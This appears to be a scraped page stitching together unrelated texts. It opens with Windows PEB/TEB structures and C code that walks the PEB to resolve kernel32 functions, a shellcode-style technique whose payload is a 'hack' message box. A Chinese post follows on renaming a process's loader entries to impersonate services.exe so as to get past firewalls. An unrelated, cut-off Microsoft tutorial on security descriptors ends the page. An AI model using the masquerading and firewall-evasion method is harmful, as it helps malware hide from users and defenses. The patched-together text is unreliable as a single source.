PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
};
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _GDI_TEB_BATCH
{
ULONG Offset;
ULONG HDC;
ULONG Buffer[0x136];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
struct TEB
{
NT_TIB Tib; /* 00h */
PVOID EnvironmentPointer; /* 1Ch */
CLIENT_ID Cid; /* 20h */
PVOID ActiveRpcInfo; /* 28h */
PVOID ThreadLocalStoragePointer; /* 2Ch */
PEB *Peb; /* 30h */
ULONG LastErrorValue; /* 34h */
ULONG CountOfOwnedCriticalSections; /* 38h */
PVOID CsrClientThread; /* 3Ch */
void* Win32ThreadInfo; /* 40h */
ULONG Win32ClientInfo[0x1F]; /* 44h */
PVOID WOW32Reserved; /* C0h */
LCID CurrentLocale; /* C4h */
ULONG FpSoftwareStatusRegister; /* C8h */
PVOID SystemReserved1[0x36]; /* CCh */
PVOID Spare1; /* 1A4h */
LONG ExceptionCode; /* 1A8h */
UCHAR SpareBytes1[0x28]; /* 1ACh */
PVOID SystemReserved2[0xA]; /* 1D4h */
GDI_TEB_BATCH GdiTebBatch; /* 1FCh */
ULONG gdiRgn; /* 6DCh */
ULONG gdiPen; /* 6E0h */
ULONG gdiBrush; /* 6E4h */
CLIENT_ID RealClientId; /* 6E8h */
PVOID GdiCachedProcessHandle; /* 6F0h */
ULONG GdiClientPID; /* 6F4h */
ULONG GdiClientTID; /* 6F8h */
PVOID GdiThreadLocaleInfo; /* 6FCh */
PVOID UserReserved[5]; /* 700h */
PVOID glDispatchTable[0x118]; /* 714h */
ULONG glReserved1[0x1A]; /* B74h */
PVOID glReserved2; /* BDCh */
PVOID glSectionInfo; /* BE0h */
PVOID glSection; /* BE4h */
PVOID glTable; /* BE8h */
PVOID glCurrentRC; /* BECh */
PVOID glContext; /* BF0h */
LONG LastStatusValue; /* BF4h */
UNICODE_STRING StaticUnicodeString; /* BF8h */
WCHAR StaticUnicodeBuffer[0x105]; /* C00h */
PVOID DeallocationStack; /* E0Ch */
PVOID TlsSlots[0x40]; /* E10h */
LIST_ENTRY TlsLinks; /* F10h */
PVOID Vdm; /* F18h */
PVOID ReservedForNtRpc; /* F1Ch */
PVOID DbgSsReserved[0x2]; /* F20h */
ULONG HardErrorDisabled; /* F28h */
PVOID Instrumentation[0x10]; /* F2Ch */
PVOID WinSockData; /* F6Ch */
ULONG GdiBatchCount; /* F70h */
USHORT Spare2; /* F74h */
BOOLEAN IsFiber; /* F76h */
UCHAR Spare3; /* F77h */
ULONG Spare4; /* F78h */
ULONG Spare5; /* F7Ch */
PVOID ReservedForOle; /* F80h */
ULONG WaitingOnLoaderLock; /* F84h */
ULONG Unknown[11]; /* F88h */
PVOID FlsSlots; /* FB4h */
PVOID WineDebugInfo; /* Needed for WINE DLL’s */
};
#pragma pack(pop)
#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")
inline bool mystrcmp (const char * src,const char * dst)
{
int ret = 0 ;
while( ! (ret = *(unsigned char *)src – *(unsigned char *)dst) && *dst)
++src, ++dst;
return ret==0;
}
unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName)
{
IMAGE_DOS_HEADER *pdoshdr=(IMAGE_DOS_HEADER *)ImageBase;
PIMAGE_NT_HEADERS32 pnthdr=(PIMAGE_NT_HEADERS32)(ImageBase+pdoshdr->e_lfanew);
if(pnthdr->Signature!=IMAGE_NT_SIGNATURE)
return 0;
PIMAGE_DATA_DIRECTORY pidd=&pnthdr->OptionalHeader.DataDirectory[0];
IMAGE_EXPORT_DIRECTORY *pied=(IMAGE_EXPORT_DIRECTORY *)(ImageBase+pidd->VirtualAddress);
LONG *pfuncnames=(LONG *)(ImageBase+pied->AddressOfNames);
for(unsigned int i=0;i<pied->NumberOfNames;i++)
{
PSTR pfunc=(PSTR)(ImageBase+pfuncnames[i]);
if(mystrcmp(pfunc,FuncName))
{
WORD *EOT=(WORD *)(pied->AddressOfNameOrdinals+ImageBase);
LONG *EAT=(LONG *)(pied->AddressOfFunctions+ImageBase);
int index=EOT[i];
return (ImageBase+EAT[index]);
}
}
return 0;
}
typedef HMODULE (WINAPI *TLoadLibraryA)(LPCSTR lpFileName);
typedef BOOL (WINAPI *TFreeLibrary)(HMODULE hModule);
typedef void (WINAPI *TExitProcess)(UINT uExitCode);
typedef int (WINAPI *TMessageBox)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);
extern "C" void WinMainCRTStartup()
{
unsigned int kernel32imagebase,user32imagebase;
char title[]="ddd&&*U( sunwang need beauty %^%&*";
char caption[]="hack";
char user32[]="user32";
TEB *pteb=NULL;
__asm mov eax,fs:[18h]
__asm mov pteb,eax
PEB *ppeb=pteb->Peb;
PPEB_LDR_DATA pldr=ppeb->LoaderData;
PLDR_MODULE pmodule=(PLDR_MODULE)pldr->InLoadOrderModuleList.Flink;
PLDR_MODULE pntdllmodule=(PLDR_MODULE)pmodule->InLoadOrderModuleList.Flink;
PLDR_MODULE pkernel32module=(PLDR_MODULE)pntdllmodule->InLoadOrderModuleList.Flink;
kernel32imagebase=(unsigned int)pkernel32module->BaseAddress;
TLoadLibraryA pLoadLibraryA=(TLoadLibraryA)GetFunctionByName(kernel32imagebase,"LoadLibraryA");
TFreeLibrary pFreeLibrary=(TFreeLibrary)GetFunctionByName(kernel32imagebase,"FreeLibrary");
TExitProcess pExitProcess=(TExitProcess)GetFunctionByName(kernel32imagebase,"ExitProcess");
user32imagebase=(unsigned int)pLoadLibraryA(user32);
TMessageBox pMessageBox=(TMessageBox)GetFunctionByName(user32imagebase,"MessageBoxA");
pMessageBox(NULL,title,caption,MB_OK);
pFreeLibrary((HMODULE)user32imagebase);
pExitProcess(0);
}
作者:[四不象]
PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win
2000 下,进程环境块的地址对于每个进程来说是固定的,在 0×7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB
地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直接访问。还可以通过
TEB 结构的偏移 30H 处获得 PEB 的位置,代码如下:
mov eax,fs:[18]
mov eax,[eax+30]
PEB 及其相关结构如下:
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
PEB 结构中的 PPEB_LDR_DATA 是一个指向 PEB_LDR_DATA 的指针,PEB_LDR_DATA 结构中有 3 个
LIST_ENTRY 的指针,分别是 InLoadOrderModuleList; InMemoryOrderModuleList;
InInitializationOrderModuleList,如此循环。可以通过这三个 LIST_ENTRY
结构来遍历进程加载的模块。LDR_MODULE 结构中的 FullDllName 成员便是一个包含模块名信息的 UNICODE_STRIN
结构,它的成员 Buffer 即是指向存放模块名的 UNICODE
字符串指针。还有要注意的是,RTL_USER_PROCESS_PARAMETERS 结构中的 ImagePathName.Buffer 和
LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer
指向的其实是同一内存。

在
Windows 2000 下,枚举系统进程的方法无外乎通过 Tool Help 函数,或是 PSAPI
函数。这两类函数虽然接口不同,但最后还是通过调用 NTDLL.DLL 中导出的 NtQuerySystemInformation
函数来实现的。这些函数最终是通过 LDR_MODULE 中指向的那些模块信息来实现进程和模块名字查询的。所以,只要修改 LDR_MODULE
指向的那些信息就能实现改变进程名或模块名。注意那些字符串都是 unicode 形式的,改的时候别忘了。

这
样改过之后虽然能够骗过 EnumProcessModules 和 Module32First、Module32Next 函数,但若使用
Process32Next、Process32First 函数,PROCESSENTRY32 结构中的 szExeFile 还是会如实的返回
EXE 文件名,如此一来,在“windows 任务管理器”里就穿邦了,即便你改了 BaseDllName
也没用。别急,当然还是有办法改的。不知诸位有没有注意到,用 Delphi
编译出来的可执行文件,如果你没改工程名的话,无论你怎么改可执行文件的文件名,在“windows
任务管理器”中总是显示“project1.exe”,具体什么原理我也不清楚。哪位有兴趣可以反汇编一下,看看具体是如何实现的,我的汇编功底太差了。

不过这样就够了,你可以做个试验,用以上方法改变一个有上网请求的进程的 ImagePathName,然后看看防火墙有什么反映。果然,被骗过去了。用这个方法就可以“穿透”防火墙了。

那具体应该改为哪个程序名呢?在 windows 2000 下,C:\WINNT\system32\services.exe 负责DNS解析等任务,总是被允许上网的,所以改成“C:\WINNT\system32\services.exe”就可以了。
保证应用程序中私有对象安全的技术
Kenny Kerr
软件顾问
适用范围:
Microsoft® Windows® 安全授权
C++ 语言
摘要: 想了解扩展 Windows 操作系统丰富的安全功能以将其应用于自己的应用程序的方法吗?获取有关 Windows 安全授权以及创建自己的安全描述符的基础知识。
下载相关的 SecuringPrivateObjects.exe(英文)示例代码。
本页内容
| 引言 | |
| 令牌及其概念 | |
| 安全描述符基础 | |
| 内存管理 | |
| 私有安全描述符 | |
| 权限 | |
| 访问控制列表 | |
| 访问控制编辑器 | |
| 结论 |
引言
您是否考虑过扩展 Windows® 操作系统丰富的安全功能以将其应用于自己的应用程序的方法?您是否用过 Windows 文件系统安全编辑器,并希望能够为自己的业务对象提供这一级别的安全性?本文将首先介绍 Windows 安全授权的基础。然后介绍操纵安全描述符的步骤、创建自己的安全描述符的方法,以及如何使用不同的方法来编辑安全描述符。读过本文后,您将掌握足够的信息,使您能够将这些技术应用到自己的应用程序中。
撰写本文的目的之一,是希望有助于使安全编程切实可行,且便于访问。所以这里不会对特定的函数进行全面、深入的剖析,我将介绍若干 helper 函数和类,使用它们可以使您的安全代码更可靠、更便于管理。helper 函数和示例不仅说明了使用各种安全函数的方法,而且着重说明了在出现异常和错误的情况下如何安全、可靠地使用它们。
令牌及其概念
本文的内容全部是有关管理访问控制的,管理访问控制也称为授权。在讨论此问题之前,我们需要具备一种方法,用来识别尝试对采取了安全措施的资源进行访问的用户。这就是令牌的作用。令牌代表计算机中的登录会话。只要用户以交互方式或远程方式访问计算机,就会创建登录会话。令牌是一个处理程序,可用来对登录会话进行查询和操纵。如果具有令牌,您就可以得到登录会话所代表的用户,以及确定是否应授予该用户访问已采取安全措施的资源的权限。
因为所有应用程序都运行于登录会话的上下文中,所以总是可以使用某些类型的令牌来指示用户。在任何给定的时刻,可能有一个或多个不同的令牌或安全上下文,这会有些使人产生混淆。每一个登录会话都代表着不同的用户。至少有一个令牌附加到该进程。可以使用 OpenProcessToken 函数获取此令牌。
CHandle token;
Helpers::CheckError(::OpenProcessToken(::GetCurrentProcess(),
TOKEN_QUERY,
&token.m_h));
CHandle 是一个由活动模版库 (ATL) 提供的包装类,当令牌超出范围时,它用来确保能够通过调用 CloseHandle 函数关闭处理程序。CheckError 是我的 Helpers 命名空间中的一个 helper 函数。CheckError 抛出一个 HRESULT,用于说明所发生的错误。使用不同的方法可以在 Windows 的 C 语言编程中表示出错的情况,我倾向使 HRESULT 标准化,以保证一致性。如果下载本文,则可以使用 Helpers 命名空间。GetCurrentProcess 函数的返回值是一个伪处理程序,它代表当前的进程。因为不是真正的处理程序,所以不需要调用 CloseHandle 函数来释放返回的 HANDLE。
可以使用的另外一个令牌是线程令牌。可以通过调用 OpenThreadToken 函数来检索线程令牌。
CHandle token;
Helpers::CheckError(::OpenThreadToken(::GetCurrentThread(),
TOKEN_QUERY,
TRUE, // 打开自身
&token.m_h));
与 GetCurrentProcess 相同,GetCurrentThread 也返回一个伪处理程序,所以也不需要针对该程序调用 CloseHandle。与 OpenProcessToken 不同的是,如果没有任何令牌与当前线程相关联,那么可能无法成功调用 OpenThreadToken,这时函数返回 ERROR_NO_TOKEN。
在某些情况下,甚至存在第三令牌,该令牌代表其他安全上下文。例如,ASP.NET 允许关闭客户模拟,在这种情况下,可以通过 HttpContext 类获取客户标识。
获取令牌后,如果能够利用它执行一些有趣的操作,会有助于我们对它的理解。使用令牌能够执行的最简单的操作,就是对它进行查询,以获取登录会话的有关信息。可以使用 GetTokenInformation 函数执行此操作。因为 GetTokenInformation 函数可用来查询不同类的信息,调用方法相当复杂,所以我编写了一个包装函数模板,以减少调用时可能出现的错误。下面示例说明了查询令牌以获取令牌用户信息的方法。
CLocalMemoryT<PTOKEN_USER> tokenUser(Helpers::GetTokenInformation<TOKEN_USER>(token,
TokenUser));
CComBSTR string = Helpers::ConvertSidToStringSid(tokenUser->User.Sid);
ConvertSidToStringSid helper 函数用于将二进制安全标识符 (SID) 转换为用户易识别的字符串。使用 SID 表示用户帐户是计算机易识别的格式。如果您的兴趣只在包装函数的功能,可以下载并查看本文所附的源代码。有关 CLocalMemoryT 类模板的内容将在介绍了内存管理之后讨论。
安全描述符基础
了解了如何识别用户后,我们需要一种方法,用来管理不同用户所具有的不同的权限。这就是使用安全描述符的必要性。安全描述符包含许多不同类型的信息。其中最有趣的是所有者安全识别符 (SID) 和两个访问控制列表 (ACL)。所有者 SID 可标识拥有对象的用户。两个 ACL 分别是随机 ACL 和系统 ACL。因为系统 ACL 实际上与访问控制无关,所以本文集中讨论随机 ACL (DACL)。
安全描述符以 SECURITY_DESCRIPTOR 结构表示,因为没有关于此结构的说明,所以应避免直接对其进行操纵。Microsoft 提供了若干使用简便的函数,用于查询和操纵内置对象(比如,文件和注册表项)的安全描述符。下面示例说明了获取本地计算机中 Program Files 目录的所有者 SID 和 DACL 的方法。
CLocalMemory securityDescriptor;
PSID sid = 0;
PACL dacl = 0;
Helpers::CheckError(::GetNamedSecurityInfo(_T("C:\\Program Files"),
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
&sid,
0, // 组
&dacl,
0, // sacl
&securityDescriptor.m_ptr));
GetNamedSecurityInfo 是一个具有多种用途的函数。它允许查询绝大多数(如果不要求全部查询的话)内置安全对象。第一个参数是要查询的对象的名称(或路径)。第二个参数指示对象的类型。本例查询的是文件系统对象。例如,若要查询注册表对象,可以将其更改为 SE_REGISTRY_KEY。下一步是使用枚举类型的参数 SECURITY_INFORMATION 指定感兴趣的信息。再后面的四个参数是分别指向安全描述符的四个主要部分的指针。这里的方便之处是,对于不感兴趣的部分,可以向相应的参数传递 0。最后一个参数是指向安全描述符本身的指针,它实际上是安全描述符的一个副本,必须使用 LocalFree 函数释放。
还可以使用名为 SetNamedSecurityInfo 的函数来更新内置对象的安全描述符。因为此函数的工作方式与上面所述相同,所以这里不对其进行深入的剖析。
内存管理
在继续之前,我认为有必要讨论一下内存管理方面的内容。内存管理以及对资源的整体管理,是编写安全、可靠的代码的一个重要方面。编写内存管理代码的最佳方式就是根本不编写代码。首先需要了解将要调用的各种函数所使用的内存管理技术,然后应将这些函数包装到一个或两个类中,以确保能够在合适的时机正确清除。如果不进行这个工作,那么编写的代码将泄露资源,甚至出现更严重的情况,使程序出现漏洞,为存心不良的人访问采取了安全措施的资源提供可乘之机。
上面介绍了 CLocalMemoryT 类模板,但没有真正说明它的用途。绝大多数与安全描述符有关的安全函数都使用了本地内存。本地内存的使用可溯源至 16 位的 Windows 操作系统,在这类操作系统中,内存管理相当复杂。目前可供使用的本地内存函数(比如,LocalAlloc 和 LocalFree)主要是用来向后兼容 16 位的应用程序,以及兼容该类应用程序将其作为部分语义的以前的 API 函数。
为了使得处理本地内存更加容易,我编写了一个简单的类,该类用于包装本地内存指针。在重载成员选择运算符 (operator ->)时,可以将 CLocalMemoryT 看作一个具有智能的指针类。这样做是可能的,因为它是一个类模板,并且您可以通过模板参数指示所指向的内存的类型或结构。可以使用 CLocalMemoryT 创建新的本地内存块,但一般使用它附加到函数所返回的现有的内存块。然后析构函数通过调用 LocalFree 释放内存。安全函数所使用的某些数据结构是不透明的。为了能够更方便地使用这些结构,我在 CLocalMemory 头文件的末尾定义了以下类型定义。
typedef CLocalMemoryT<PVOID> CLocalMemory;
使用这些类型能够有效地管理 SECURITY_DESCRIPTOR 对象占用的内存单元,例如:
私有安全描述符
GetNamedSecurityInfo 和 SetNamedSecurityInfo 具有很强的处理内置对象的功能。但是对于私有对象(比如,在自己的应用程序业务逻辑中所使用的对象),它们具有什么功能呢?可以对这些函数的功能进行扩展,使其支持私有对象吗?很不幸,答案是否定的。因为每个资源(比如,文件系统或注册表)都定义了自己的保留安全描述符的方法,这些函数不可能了解查询或设置您所创建的私有对象的安全信息。万幸的是,我们有解决的方法。
首先我们需要一种创建私有安全描述符的方法。使用 CreatePrivateObjectSecurityEx 函数可以从头开始创建自己的安全描述符。这个函数的使用方法相当灵活,它的主要用途有两个:创建新的安全描述符以及更新现有的安全描述符的继承。它的原型如下。
BOOL CreatePrivateObjectSecurityEx(PSECURITY_DESCRIPTOR parentDescriptor,
PSECURITY_DESCRIPTOR defaultDescriptor,
PSECURITY_DESCRIPTOR* newDescriptor,
GUID* type,
BOOL isContainer,
ULONG autoInheritFlags,
HANDLE token,
PGENERIC_MAPPING genericMapping);
parentDescriptor 用于指示将继承其 ACL 的父对象。如果对象没有父对象,可以只向此参数传递 0。defaultDescriptor 的主要用途是,当 parentDescriptor 改变后,使用可继承的访问控制项 (ACE) 更新现有的安全描述符。实现这一目的的方法是,创建一个将由 newDescriptor 参数返回的新的安全描述符,然后释放原安全描述符。要传递对象 ACL 的显式项,请将现有的安全描述符作为 defaultDescriptor 参数传递。
在处理 Active Directory 对象的安全时,将使用 type。要指示安全描述符所表示的对象是否是其他安全对象的容器,可使用 isContainer。要影响各个可继承的 ACE 指向新建的安全描述符的方式,可使用 autoInheritFlags。可以只传递 SEF_DACL_AUTO_INHERIT 以继承任何可继承的 ACE。但在根据父安全描述符得到可继承 ACE 时,还应包含 SEF_AVOID_PRIVILEGE_CHECK 和 SEF_AVOID_OWNER_CHECK 标志,以避免出现针对用户的访问检查,因为在只更新继承时,没有必要这样做。有关管理 ACL 继承的详细信息,请参阅 Keith Brown 的著作 Programming Windows Security(英文)。
要识别为其创建对象的用户,可以使用令牌获取新创建的安全描述符的默认值(比如,所有者的 SID)。以显式传递用户令牌会为服务器应用程序的运行带来方便,因为不要求模拟。
最后,genericMapping 用来提供有关显式传递的信息,针对特定对象的权限可映射为四个通用权限,即读、写、执行以及全部。有关权限的内容将在下一部分中讨论。
有关安全描述符的工作完成后,必须通过调用 DestroyPrivateObjectSecurity 将其释放。
现在我们可以创建自己的安全描述符,我们需要找到一种能够对其进行查询和修改的方式。虽然 GetNamedSecurityInfo 和 SetNamedSecurityInfo 无法用来操作私有对象,但还是有能够达到此目的的函数。要修改私有安全描述符,需要使用 SetPrivateObjectSecurityEx 函数。该函数的原型如下。
BOOL SetPrivateObjectSecurityEx(SECURITY_INFORMATION securityInformation,
PSECURITY_DESCRIPTOR modificationDescriptor,
PSECURITY_DESCRIPTOR* securityDescriptor,
ULONG autoInheritFlags,
PGENERIC_MAPPING genericMapping,
HANDLE token);
有关该函数的文档有一处错误,即将 securityDescriptor 参数设为 [out],实际应将此参数设置为 [in, out],因为在输入时,此参数必须指向一个有效的安全描述符。如果必要,SetPrivateObjectSecurityEx 将调用 LocalReAlloc,以分配足够的内存单元,并向其中写入新信息。这就是要求一个指向安全描述符指针的指针的原因,调用 SetPrivateObjectSecurityEx 之后,securityDescriptor 指向的内存位置可能会改变。
正如您所见,SetPrivateObjectSecurityEx 不提供用于设置安全描述符各部分的单个参数,这一点与 SetNamedSecurityInfo 相同。SetPrivateObjectSecurityEx 要求提供现有的安全描述符,以供从中复制值。所幸在堆栈中创建安全描述对象以及使用可能会将其复制到私有安全描述符中的信息准备此安全描述符的操作相当容易。下面是一个示例:
CWellKnownSid adminSid = CWellKnownSid::Administrators();
SECURITY_DESCRIPTOR templateDescriptor = { 0 };
Helpers::CheckError(::InitializeSecurityDescriptor(&templateDescriptor,
SECURITY_DESCRIPTOR_REVISION));
Helpers::CheckError(::SetSecurityDescriptorOwner(&templateDescriptor,
&adminSid,
false));
Helpers::CheckError(::SetPrivateObjectSecurityEx(OWNER_SECURITY_INFORMATION,
&templateDescriptor,
&securityDescriptor,
SEF_AVOID_PRIVILEGE_CHECK,
&genericMapping,
0));
其中 templateDescriptor 是一个基于堆栈的安全描述符。请注意,在进行之前,确保清空内存单元。InitializeSecurityDescriptor 用来设置修订级别,否则将保持安全描述符为空。SetSecurityDescriptorOwner 将所有者 SID 设置为众所周知的本地管理员组。这是在 CWellKnownSid 类的帮助下实现的,可以在下载本文时得到此类。最后调用了 SetPrivateObjectSecurityEx,以将所有者信息从我们的模板描述符复制到 securityDescriptor 所包含的私有安全描述符中。
您可能感到奇怪,为什么不能直接使用这些函数来设置私有安全描述符的各部分。对于安全描述符来说,有两种不同的内存格式。绝对安全描述符包含指向它所包含的安全信息的指针。其内存单独分配,与安全描述符结构所占用的内存分配相分开。而相对安全描述符则将它的所有信息存储在连续的内存块中。它并不存储指针,而存储在内存块中的偏移量。
在了解了安全描述符在内存中存在的不同方式后,事情就很明白了。私有安全描述符通常是相对安全描述符。这就是处理这类安全描述符的函数更加复杂的原因。在堆栈中创建安全描述符比较容易,因为这类安全描述符是绝对安全描述符,诸如 SetSecurityDescriptorOwner 之类的函数只需要在基于堆栈的安全描述符中设置指针值即可。
幸运的是,查询私有安全描述符十分简单。可以使用标准函数(比如,GetSecurityDescriptorOwner 和 GetSecurityDescriptorDacl)获取不同部分的内容。还有一个名为 GetPrivateObjectSecurity 的函数,但它不常用于查询安全描述符。在使用访问控制编辑器时,使用该函数会很方便(这个问题将在后面讨论)。
权限
权限也称为访问权限,已在前面提及过。有关它的话题与内存管理同样精彩。然而重要的是了解如何为您的私有对象设计权限。每次调用有可能访问安全资源的函数时,都会用到权限。例如,我们熟知的 CreateFile 函数具有一个采用访问位掩码的参数,该参数的每一位都代表一个特定的权限。
与文件系统定义特定的权限相同(比如,FILE_APPEND_DATA 和 FILE_TRAVERSE),您也必须为自己的对象定义特定的权限。对于 32 位的访问掩码,16 位只用于特定的权限。为对象定义好特定的权限后,需要将其分别归入四个通用权限类别中。通用权限是 GENERIC_READ、GENERIC_WRITE、GENERIC_EXECUTE 和 GENERIC_ALL。这样,编程者就可以简单声明需要读取访问以及应用逻辑上映射到读取访问类别的权限。但是因为任何一个安全函数都无法知道特定权限所映射到的通用权限类别,所以需要填入一个 GENERIC_MAPPING 结构,该结构将被传递给许多安全函数。
在对权限有了基本的了解之后,我们就可以为特定的 widget 资源定义以下权限。
namespace Permissions
{
const DWORD AddWidget = 0x0001;
const DWORD ListWidgets = 0x0002;
const DWORD RenameWidget = 0x0004;
const DWORD ReadWidgetData = 0x0008;
const DWORD WriteWidgetData = 0x0010;
const DWORD GenericRead = STANDARD_RIGHTS_READ |
ListWidgets |
ReadWidgetData;
const DWORD GenericWrite = STANDARD_RIGHTS_WRITE |
AddWidget |
RenameWidget |
WriteWidgetData;
const DWORD GenericExecute = STANDARD_RIGHTS_EXECUTE;
const DWORD GenericAll = STANDARD_RIGHTS_REQUIRED |
GenericRead |
GenericWrite |
GenericExecute;
}
这样,您就应该能够填充全局的 GENERIC_MAPPING 结构,并向它传递指针,也向所有需要此结构的函数传递指针。现在程序员就可以仅仅使用通用权限(比如,GENERIC_WRITE),而该通用权限会映射到我们的 widget 的Permissions::GenericRead。细心的程序员可能不会假定用户具有所有权限。在这种情况下,他可能会使用特定权限中的一种(比如,Permissions::RenameWidget)。当然,仍有可能使用一种标准权限(比如,DELETE,如果我们在 widget 中为其指定了特定含义的话)。
访问控制列表
DACL 是安全描述符的核心。列表中的每个访问控制项 (ACE) 都定义了特定的用户或组对于某项资源的权限。ACE 既可以为正,也可以为负。正的 ACE 指示为用户或组授予了特定的权限,负的 ACE 指示该权限将被拒绝。如果 ACL 中未出现某用户(无论是单独出现还是作为组的成员出现),那么该用户的任何访问操作都将被拒绝。
ACL 存储在连续的内存块中,它由一个 ACL 结构和一个经过排序的 ACE 列表组成。下面的示例说明了创建一个简单的 ACL 的方法。
CLocalMemoryT<PACL> acl(100);
Helpers::CheckError(::InitializeAcl(acl.m_ptr,
100,
ACL_REVISION));
DWORD inheritFlags = CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE;
CWellKnownSid everyoneSid = CWellKnownSid::Everyone();
Helpers::CheckError(::AddAccessAllowedAceEx(acl.m_ptr,
ACL_REVISION,
inheritFlags,
GENERIC_READ,
&everyoneSid));
CLocalMemoryT<PSID> userSid(Helpers::GetUserSid(token));
Helpers::CheckError(::AddAccessAllowedAceEx(acl.m_ptr,
ACL_REVISION,
inheritFlags,
GENERIC_ALL,
userSid.m_ptr));
